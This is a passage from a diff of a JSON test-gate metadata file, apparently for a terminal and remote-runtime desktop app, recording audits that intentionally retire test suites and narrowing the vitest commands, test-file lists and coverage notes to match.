(sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Delete the complete pure orphan-topology suite and its file membership; preserve the other selectors from its combined command after archiving the original command string. Lost alarms are synthetic current-layout preservation, one-anchor grafting and ambiguous-anchor appending examples. Do not transfer their ownership/topology scope to sibling suites. Preserve all5 independent historical receipts exactly. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Delete the mocked agent-session suite and its prospective selector and aliases. Retire all3 whole dated changed-selector receipts, preserving their original raw objects in historical gaps without transferring counts or durations. Preserve5 unrelated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Partial agent-operation service suite retains only concurrent retry joining with changed-fingerprint conflict. Retire its complete three-title assertion object: old-owner legacy fallback before side effects, nested SSH Pi transcript refusal and completed/ambiguous physical-commit replay fences are no longer backed. Other probe/launch option/ledger/failure/remote-inventory examples disappear as detailed below. No actual provider spawn, live SSH or physical commit proof is retained by this source. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1911: The complete provider PTY-inspection mock suite is removed: missing-provider rejection, stale-PTY renderer unverifiable mapping, preserved supplied renderer failures, and supplied transport-loss mapping alarms are intentionally lost. No actual terminal teardown, daemon error or remote transport was exercised. Only the deleted explicit source tokens, testFile and whole assertionRef are removed. Meaningful remaining source selectors/assertions and unaffected dated receipts retain their original scope. No equivalent replacement, fresh reduced-gate, native/platform/provider, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Race independent clients and repeated operation IDs, then assert one physical spawn and one canonical PTY/surface; inject exit-before-reply, provider disconnect, conflicting claim scope, old daemon/relay capabilities, reused handles, stale incarnations, owner mismatch, and topology revision conflict; assert safe adoption or explicit failure without a second spawn or wrong-process attachment. Run fresh/resume with activate true/false against an isolated headed desktop host and a separate paired client, then against isolated headless serve: assert host presentation stays background, only the requesting viewer focuses the exact leaf, inactive calls preserve client/DOM focus, a same-version publication replay cannot lose focus intent, and sibling-first split publication cannot consume exact-leaf intent. Restore legacy split panes and groups beside a newer host-owned tab, preserving exact predecessor/new/successor order, output, input, resize, titles, tab/leaf identity, active group, and multi-client convergence. For completion, drive a known running agent through outer transport loss, authoritative provider rejection, reconnect, explicit stop, real exit status, and successful hook completion; assert unavailable evidence never dispatches completion and two fresh authoritative idle samples are required after the gap. After exact exit, assert terminal and tab listings omit the surface, a stale publication cannot restore it, restart cannot resurrect it, exact tokened fixture PIDs are dead, and unrelated tabs/processes survive until scoped cleanup.",
       "commands": [
         "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/runtime/web-session-tabs-sync/navigation/web-session-tabs-sync-focus-intent.test.ts",
-        "pnpm exec vitest run --config config/vitest.config.ts src/shared/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts",
+        "pnpm exec vitest run --config config/vitest.config.ts src/shared/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts",
         "pnpm exec vitest run --config config/vitest.config.ts tests/e2e/remote-terminal-tab-retirement.unit.test.ts",
         "pnpm run build:cli && pnpm run build:electron-vite && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs",
         "node --check config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs && node config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs",
@@ -7362,8 +7160,6 @@
         "src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts",
         "src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts",
         "src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts",
-        "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts",
         "tests/e2e/remote-agent-session-focus-authority.spec.ts",
         "config/scripts/diagnostics/remote-agent-authority/remote-agent-session-authority-repro.mjs",
         "config/scripts/development/remote-session-cleanup/remote-agent-session-process-cleanup.mjs",
@@ -7591,7 +7387,14 @@
         "Module layout policy correction: retire the remaining program-status-osc.spec.ts event-projection case (production/mock-derived pane-key oracle) and sign-in timeout case (real setTimeout wait with Date-only fake clocks). The runtime test registrar no longer imports that file. No replacement coverage or fresh execution is claimed for these losses; historical receipts retain their original source scope.",
         "Module layout policy correction: retire the two remaining worktree-ps-agent-row-dismissal.spec.ts registrations. The remint/dismissal/exit case computed expected snapshotVersion increments from a production snapshot and used real-clock vi.waitFor; the legacy OSC case derived its expected paneKey from the production layout-owner switch. The runtime registrar no longer imports this file. These public projection scenarios have no replacement coverage or fresh execution claimed; all historical receipts and earlier loss notes retain their original source scope.",
         "Audit2709 removes src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts: intentionally retire waiting out an older inventory and sharing a fresh post-operation request among concurrent callers. No equivalent replacement or fresh execution is claimed. Dated receipts remain historical evidence for their unchanged selectors only; they do not validate the reduced commands or full current gate. Original prospective command before removal: pnpm exec vitest run --config config/vitest.config.ts src/shared/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts src/renderer/src/runtime/web-session-tabs-sync/inventory/remote-runtime-session-tabs-inflight.test.ts src/renderer/src/runtime/web-session-tabs-sync/inventory/web-runtime-session.test.ts",
-        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/runtime/web-session-tabs-sync/inventory/web-runtime-session.test.ts. Lost alarms: confirms only the exact handoff after its post-create list completes. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope."
+        "Module-layout wave1 intentionally retires complete prohibited owning registrations in src/renderer/src/runtime/web-session-tabs-sync/inventory/web-runtime-session.test.ts. Lost alarms: confirms only the exact handoff after its post-create list completes. No equivalent replacement coverage or pass for a reduced selector is claimed. All unrelated selectors and historical receipts retain their original scope.",
+        "Audit 3301 removes the caller-chat-target precedence over host selection example from web-session-tabs-sync-focus-intent.test.ts. The snapshot-before-RPC replay and split-sibling-first exact-leaf focus cases remain unchanged and match the existing assertion reference. Preserve current selectors, assertion references, unrelated active receipts and complete archived history. These mocked state-composition survivors provide no equivalent replacement, rendered, native, network or fresh execution proof.",
+        "Audit3359 retires the whole create-handoff suite. Supplied disposition, late completion, close-callback and metadata-bookkeeping alarms are intentionally lost without equivalent replacement; the compound unit selector and test-file entry narrow accordingly. Five unrelated macOS receipts retain their original scope. No fresh runtime, process-deduplication, physical provider/network, historical-import, mobile, mixed-version or cross-platform validation is claimed.",
+        "Audit3359 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/shared/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\"",
+        "Audit3359 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-create-handoff.test.ts\"",
+        "Audit3368 retires the whole host-session-launch unit source, including host-authority/create/ensure/legacy/Kimi/refusal/draft/options/prompt/cancel/kill/shared-disconnect and passive-sleep output callback alarms, without equivalent replacement. Its unit command token and test-file entry retire. Five unrelated macOS receipts remain verbatim and keep only their original scope; no fresh changed-selector/runtime/provider/process/UI/mobile/mixed-version/cross-platform evidence is claimed.",
+        "Audit3368 historical original commands object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"pnpm exec vitest run --config config/vitest.config.ts src/shared/claimed-agent-pty-owner.test.ts src/main/daemon/providers/adapter/testing/daemon-pty-adapter.test.ts src/main/runtime/session-construction/agent-session/orca-runtime-agent-session-operation.test.ts src/main/runtime/session-construction/agent-session/remote-agent-session-host-authority.integration.test.ts src/main/runtime/terminal/surface/orca-runtime-terminal-retirement.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\"",
+        "Audit3368 historical original testFiles object, preserved verbatim; retired claims are not active evidence or replacement coverage:\n\"src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-host-session-launch.test.ts\""
       ],
       "demotionRule": "Keep experimental or demote if the focused gate flakes without a product or harness bug, if a retry can physically spawn twice, if a stale exit/publication can replace or resurrect a terminal, or if mixed-version fallback occurs after an authority side effect."
     },
@@ -7615,28 +7418,25 @@
       "providers": ["local", "remote-runtime", "ssh", "wsl"],
       "coveredPlatforms": ["macos", "linux"],
       "coveredProviders": [],
-      "coverageNotes": "Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope. Historical prior account (preserved verbatim): Audit2360 removes src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts and its exclusive fake-effect harness. Lose local default-runtime persistence across navigation; focused/background terminal request/create/reveal and no-focus recovery; startup cwd/config/agent/view-mode forwarding; explicit runtime-session routing; remote/ambiguous/missing owner refusal; history focus; existing PTY reuse/title preservation; pending tab PTY/layout/identity adoption; split tree, focus, identity and telemetry samples. No equivalent replacement claimed. Changed selectors have no fresh execution or red/green credit. Unrelated retained receipt objects keep their original narrow scope. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/store/project-groups/nested-repository-operations.test.ts: routes local nested scan progress by scanId and unsubscribes after completion. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1488 deletes NonGitFolderDialog tests. The hand-assembled scan/import pipelines, supplied host and folder outcomes, registration callback receipts and static host confirmation alarms are retired. No equivalent replacement coverage or fresh routing validation is claimed. Historical receipts and assertions describe their original sources only. Audit1487 deletes AddProjectFromFolderDialog and project-added-default-checkout tests and reduces AddRepoStartSteps to custom ArrowDown navigation. Mocked admission/activation and static host-control assertions are retired. No equivalent replacement coverage or fresh routing validation is claimed. Historical receipts and assertions below describe their original sources only. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally reduces src/renderer/src/store/slices/repos-stale-fetch.spec.ts: Loses startup catalog admission/reconnect preservation and settlement failure gating alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1391 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1342 and1337 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes browser generic Active Server settings isolation and unknown-choice examples; their direct preference and rejection alarms are lost. Other routing evidence is not an equivalent replacement. Historical commands and results remain historical. Platform-neutral deterministic tests separate the durable Active Server preference from per-client connection, selected-workspace, browser-session, Add Project, and execution-host routing. The composed regression models Local desktop -> connect/navigate Windows 2 -> reveal a local terminal -> restart. Multi-client browser host overrides, multi-server profile caches, generic settings IPC rejection, local and remote workspace ownership, Add Project eligibility/owner capture/stale-result fencing, host-qualified group/folder/worktree identity, and restart reset of transient routing are covered. A visible macOS Orca desktop server plus separate paired Electron and web clients prove selected-runtime Add Project operations and disabled creation when the only listed host is blocked or unavailable; headless-server parity also passed. Live Linux, Windows, WSL, and SSH Add Project journeys remain uncollected. The static wrapper-rendering suite was removed during the low-value-test audit; its supplied-prop host-browser and control-visibility output assertions are no longer checked by that suite. This removal supplies no new runtime-routing evidence. The fake-React Clone hook unit suite was also retired: its captured-owner and same-ID sibling assertions no longer supply unit evidence. Historical run commands and counts remain historical; this retirement adds no runtime-routing, cross-platform, or mobile evidence. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit narrowed worktree-runtime-owner.test.ts to deterministic owner-lookup work bounds with correct worktree/folder results and changed-collection invalidation. Its separate host/default/folder/mirror inventory alarms are lost; these retained in-memory checks establish no actual host delivery, restart or equivalent replacement coverage. Historical run commands and results remain historical. web-runtime-session.test.ts no longer supplies the terminal/browser/staged-browser explicit-host collision assertions formerly referenced here. Those direct routing alarms are lost; the remaining selector and live routing evidence does not establish equivalent replacement coverage. The test-value audit removes the direct host/provider/project-setup selector tables. selectors.test.ts retains only floating-tab/unread scan-cost checks, which supply no current Active Server routing evidence. Its separate missing-runtime/no-local-fallback and owner-choice alarms are lost; other gate evidence is not an equivalent replacement. Historical executed commands and results remain historical. browser.test.ts no longer supplies the host/profile projection examples. Current routing commands and references name the retained deferred host-list/import completion tests in browser-session-host-selection.test.ts instead. Its actual source supports stale-completion fencing; it does not establish the formerly listed multi-client selection or restart-reset claims. Other evidence is not an equivalent replacement; historical executed commands/counts/results remain historical. The test-value audit deletes repos-paired-runtime-add.test.ts. Its supplied-result assertion that an explicitly selected paired host receives repo.add with the selected path, folder kind and 15000ms timeout while native repos.add and pickFolder remain unused is intentionally lost. Other gate evidence is not an equivalent replacement. Historical executed commands, counts and results remain unchanged. The test-value audit narrows repos-selected-owner-routing.test.ts to an overlapping selected-runtime import/local refresh, reversed same-host folder replies, and group/folder replies crossing an actual pairing revision. Its separate same-ID host-partition, desktop-only pruning, sequential explicit-runtime preservation, and SSH scan/cancel forwarding alarms are intentionally lost. The stale-response case overwrites its group result before the final assertion, so it supplies only a folder stale-response alarm. The catalog-reconciliation caller also retires the refresh-identity and runtime-visibility-default registrars: their immediate reference/field/count, filter/dismissal, readoption-inventory, timestamp and settings/capability-copy/retention alarms are lost. No equivalent replacement or new live host, restart, platform or mobile evidence is claimed; historical executed commands, counts and results remain unchanged. The test-value audit removes the reversed-order direct worktree lookup example from selected-host-active-workspace-identity.test.ts. Its explicit-runtime path lookup with reversed same-ID catalog rows is intentionally lost; that example did not activate a workspace. After the subsequent audit, current assertions in this suite name only the retained local-first worktree activation; the selected-runtime folder/group host-echo example was removed. They are not equivalent replacements for the reversed-order lookup alarm. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit narrows renderer store settings.test.ts by removing immediate authoritative-settings/response rebasing, checked-failure forwarding, best-effort logging, mobile-address/provider normalization, successful catalog-start, hand-seeded partial-status coverage and ghost-status filtering examples. Those direct response, normalization, error and catalog-projection alarms are intentionally lost. The runtime focus-switch resource/draft preservation, unreachable/incompatible refusal and held catalog coalescing/retry/staleness cases remain; they are not equivalent replacements for the removed alarms. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit narrows worktrees-fetch-owner-routing.test.ts by removing default-local transport selection, ownerless runtime stamping, isolated force-local routing, and mocked mobile-denial/toast examples. Those direct routing, field and presentation alarms are lost. Retained concurrency and authority-fencing cases do not establish equivalent replacement coverage or live host, platform, restart or mobile evidence. Historical commands, counts and results remain unchanged. The test-value audit removes the separate paired-web host-switch resource-preservation example from renderer store settings.test.ts. Its explicit web-mode terminal/browser no-close and retained PTY/remote-browser-handle alarms are intentionally lost. The surviving desktop host-merge, resource/draft preservation, refusal and catalog retry/coalescing/staleness cases are not equivalent replacement coverage. Historical executed commands, counts and results remain unchanged; no new live host, restart, platform or mobile evidence is claimed. The test-value audit removes the selected-runtime folder/group activation example from selected-host-active-workspace-identity.test.ts. That large same-ID fixture only asserted that the explicit host argument was stored and read back; it did not check the chosen folder path, group or delivered operation. Its narrow non-rejection/host-echo alarm is intentionally lost. Only the local-first worktree case that independently checks the returned runtime path remains in this suite. Historical executed commands, counts and results remain unchanged; no equivalent replacement or new live-host evidence is claimed. The continued test-value audit narrows worktrees-fetch-owner-routing.test.ts by retiring the simple explicit-local duplicate-repo request and runtime-only host-stamping examples. Those exact request-option and supplied-row alarms are intentionally lost. The retained force-local sibling-preservation and project-setup stamping cases use different inputs and are not equivalent replacements. Historical commands, counts and results remain unchanged; no live-host, restart, platform or mobile evidence is added. The test-value audit removes the browser-settings host-option fallback helper suite. Its direct selected/default/empty-option preference alarms are lost; no browser session, host delivery or persistence was exercised there. Remaining routing evidence is not an equivalent replacement. Historical commands, counts and results remain historical. The test-value audit deletes paired-web-add-project-unavailable-host.spec.ts. Its injected blocked/unavailable-host disabled-action and no-local-option presentation alarms are intentionally lost. The snapshot sequence and null transport do not prove actual version negotiation or operation rejection. Other routing evidence is not an equivalent replacement; no new runtime, platform or mobile evidence is claimed. The two retired historical receipts and assertion reference are archived below with their original fields and results. Audit1320: src/renderer/src/components/settings/runtime-environments/catalog/RuntimeEnvironmentsPane.test.ts removed. Transport-up/runtime-down, failed-probe ready/reconnect/handshake and stale compatibility label/button state inventories lose alarms. No equivalent replacement coverage is claimed. Audit1342: src/renderer/src/components/sidebar/worktree-list/listing/host-filtering.test.ts removed. Runtime/SSH/default row ownership and folder/project path-status routing samples disappear. src/renderer/src/store/slices/repos-catalog-reconciliation.test.ts reduced. Driver registration/import of a whole-deleted selected spec is removed; directly authored cases remain unchanged. No extra authored removal credit. No equivalent replacement coverage is claimed. Audit1337: src/renderer/src/components/sidebar/project-admission/dialog/add-repo-browse-authority.test.ts removed. Removes paired-host browse versus native picker callback flags and SSH no-browse predicate samples. src/renderer/src/components/sidebar/project-admission/dialog/AddRepoDialog.default-checkout.test.ts removed. Removes explicit local/runtime versus missing owner selector examples. No equivalent replacement coverage is claimed. Audit1352: focused Linux unit selections validated on source head b638e07d395b76af3ba6b03761a1a0fe7e5e026e. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1360: focused Linux unit selections validated on source head 415c9cffc2d10024131ec4b6721767a22195de6d. Historical statements above retain their original scope. Intentional test losses are recorded in knownGaps; these runs claim no physical-provider, p95, rendered E2E or cross-platform validation. Audit1391: src/renderer/src/lib/worktree-runtime-owner.test.ts reduced. Lose explicit repeated-lookup work/read budget and standalone initial owner lookup alarms. Retained production resolver proves changed ownership is visible, using synthetic catalogs rather than server publication. No equivalent replacement coverage is claimed.",
+      "coverageNotes": "Audit3362 retires the whole settings suite, including dirty-draft focus, background-host keepalive, protocol/catalog compatibility, stale/failure and refresh examples. The compound unit selector and test-file entry narrow; all prior owner-routing retirements/history remain. Four unrelated selected-runtime macOS E2E receipts remain verbatim and do not validate the changed unit selector. No equivalent replacement or fresh runtime/provider/UI/mobile/mixed-version/cross-platform evidence is claimed. Audit3349 retires the explicit runtime-owner, explicit SSH-owner and missing-owner-after-catalog-change examples from worktrees-fetch-owner-routing. Of those four named assertions, only the missing-owner-after-provider-reconnect assertion remains; the command and test-file selector survive. Those three alarms are intentionally lost without equivalent replacement. Four unrelated physical selected-runtime macOS E2E receipts remain verbatim; the frozen static closure does not select changed tests through their literal roots. No fresh runtime, provider, historical-import, mobile, mixed-version or cross-platform validation is claimed. Audit3326 adopts reconciled source audit3324 and intentionally retires these low-value examples and their regression alarms: drops older same-host group and folder responses that finish last — Copies group and folder fixtures plus four deferred responses to re-test the same generic catalog generation fence in two wrappers. Retires stale same-host response rejection at these API copies.; drops pre-reconnect group and folder responses without pruning the new catalog — Directly replaces pairing/catalog fixtures then resolves scripted old group/folder replies; repeats identity-fence contract in two catalog wrappers without real reconnect. Retires pre-reconnect catalog pruning refusal example.. Retained tests do not replace these alarms. Dated unrelated evidence remains scoped to its original execution; no historical source/import-closure equivalence, fresh execution, real network/provider/SSH, rendered UI, mobile, mixed-version or cross-platform validation is claimed. Audit2371 reduces all-host-folder-workspace-catalogs.test.ts by removing the repeated offline compatibility-probe budget and its incidental local-fallback/restored-owner samples, and catalog-settlement-notifications.test.ts by removing the four-route ten-equal-refresh notification/reference matrix. Those probe, quietness, identity and fallback alarms are intentionally lost. Remaining stale-response and revision-fencing examples do not supply equivalent replacement coverage. No fresh execution or red/green evidence validates the reduced sources; the four unrelated physical selected-runtime E2E receipts retain their original commands and scope. Historical prior account (preserved verbatim): Audit2360 removes src/renderer/src/hooks/useIpcEvents-terminal-create-surfacing.test.ts and its exclusive fake-effect harness. Lose local default-runtime persistence across navigation; focused/background terminal request/create/reveal and no-focus recovery; startup cwd/config/agent/view-mode forwarding; explicit runtime-session routing; remote/ambiguous/missing owner refusal; history focus; existing PTY reuse/title preservation; pending tab PTY/layout/identity adoption; split tree, focus, identity and telemetry samples. No equivalent replacement claimed. Changed selectors have no fresh execution or red/green credit. Unrelated retained receipt objects keep their original narrow scope. Historical prior account (preserved verbatim): Audit2056 (sources2054/2055): Intentionally retire these low-value alarms without replacement: src/renderer/src/store/project-groups/nested-repository-operations.test.ts: routes local nested scan progress by scanId and unsubscribes after completion. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Historical prior account (preserved verbatim): Audit1640 removes low-value IPC, SSH, workspace and transcript-watcher tests without equivalent replacement coverage. Per-source reviews record retained public refusal, cancellation, execution-host and real-filesystem outcomes with injected/native/remote limits. Affected historical receipts are retired; gates without active current evidence are downgraded. Historical scope before this audit: Audit1488 deletes NonGitFolderDialog tests. The hand-assembled scan/import pipelines, supplied host and folder outcomes, registration callback receipts and static host confirmation alarms are retired. No equivalent replacement coverage or fresh routing validation is claimed. Historical receipts and assertions describe their original sources only. Audit1487 deletes AddProjectFromFolderDialog and project-added-default-checkout tests and reduces AddRepoStartSteps to custom ArrowDown navigation. Mocked admission/activation and static host-control assertions are retired. No equivalent replacement coverage or fresh routing validation is claimed. Historical receipts and assertions below describe their original sources only. Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Audit1417 intentionally reduces src/renderer/src/store/slices/repos-stale-fetch.spec.ts: Loses startup catalog admission/reconnect preservation and settlement failure gating alarms. No equivalent replacement coverage or fresh result is claimed. Historical coverage account: Audit1391 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audits1342 and1337 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): Audit1320 changes referenced sources. Retained unchanged-source receipts apply only to their unchanged commands; the reduced selectors have no new execution result. Historical coverage account (not a current claim for changed sources): This audit removes browser generic Active Server settings isolation and unknown-choice examples; their direct preference and rejection alarms are lost. Other routing evidence is not an equivalent replacement. Historical commands and results remain historical. Platform-neutral deterministic tests separate the durable Active Server preference from per-client connection, selected-workspace, browser-session, Add Project, and execution-host routing. The composed regression models Local desktop -> connect/navigate Windows 2 -> reveal a local terminal -> restart. Multi-client browser host overrides, multi-server profile caches, generic settings IPC rejection, local and remote workspace ownership, Add Project eligibility/owner capture/stale-result fencing, host-qualified group/folder/worktree identity, and restart reset of transient routing are covered. A visible macOS Orca desktop server plus separate paired Electron and web clients prove selected-runtime Add Project operations and disabled creation when the only listed host is blocked or unavailable; headless-server parity also passed. Live Linux, Windows, WSL, and SSH Add Project journeys remain uncollected. The static wrapper-rendering suite was removed during the low-value-test audit; its supplied-prop host-browser and control-visibility output assertions are no longer checked by that suite. This removal supplies no new runtime-routing evidence. The fake-React Clone hook unit suite was also retired: its captured-owner and same-ID sibling assertions no longer supply unit evidence. Historical run commands and counts remain historical; this retirement adds no runtime-routing, cross-platform, or mobile evidence. The test-value audit narrowed resolved-worktree-execution-host.test.ts to cache reuse and invalidation. Its direct hydrated-worktree, missing-folder, restored-owner, host-stamp and empty-runtime selection alarms are lost. Other routing and recovery suites do not establish equivalent selector coverage; historical run commands and results remain historical. The test-value audit narrowed worktree-runtime-owner.test.ts to deterministic owner-lookup work bounds with correct worktree/folder results and changed-collection invalidation. Its separate host/default/folder/mirror inventory alarms are lost; these retained in-memory checks establish no actual host delivery, restart or equivalent replacement coverage. Historical run commands and results remain historical. web-runtime-session.test.ts no longer supplies the terminal/browser/staged-browser explicit-host collision assertions formerly referenced here. Those direct routing alarms are lost; the remaining selector and live routing evidence does not establish equivalent replacement coverage. The test-value audit removes the direct host/provider/project-setup selector tables. selectors.test.ts retains only floating-tab/unread scan-cost checks, which supply no current Active Server routing evidence. Its separate missing-runtime/no-local-fallback and owner-choice alarms are lost; other gate evidence is not an equivalent replacement. Historical executed commands and results remain historical. browser.test.ts no longer supplies the host/profile projection examples. Current routing commands and references name the retained deferred host-list/import completion tests in browser-session-host-selection.test.ts instead. Its actual source supports stale-completion fencing; it does not establish the formerly listed multi-client selection or restart-reset claims. Other evidence is not an equivalent replacement; historical executed commands/counts/results remain historical. The test-value audit deletes repos-paired-runtime-add.test.ts. Its supplied-result assertion that an explicitly selected paired host receives repo.add with the selected path, folder kind and 15000ms timeout while native repos.add and pickFolder remain unused is intentionally lost. Other gate evidence is not an equivalent replacement. Historical executed commands, counts and results remain unchanged. The test-value audit narrows repos-selected-owner-routing.test.ts to an overlapping selected-runtime import/local refresh, reversed same-host folder replies, and group/folder replies crossing an actual pairing revision. Its separate same-ID host-partition, desktop-only pruning, sequential explicit-runtime preservation, and SSH scan/cancel forwarding alarms are intentionally lost. The stale-response case overwrites its group result before the final assertion, so it supplies only a folder stale-response alarm. The catalog-reconciliation caller also retires the refresh-identity and runtime-visibility-default registrars: their immediate reference/field/count, filter/dismissal, readoption-inventory, timestamp and settings/capability-copy/retention alarms are lost. No equivalent replacement or new live host, restart, platform or mobile evidence is claimed; historical executed commands, counts and results remain unchanged. The test-value audit removes the reversed-order direct worktree lookup example from selected-host-active-workspace-identity.test.ts. Its explicit-runtime path 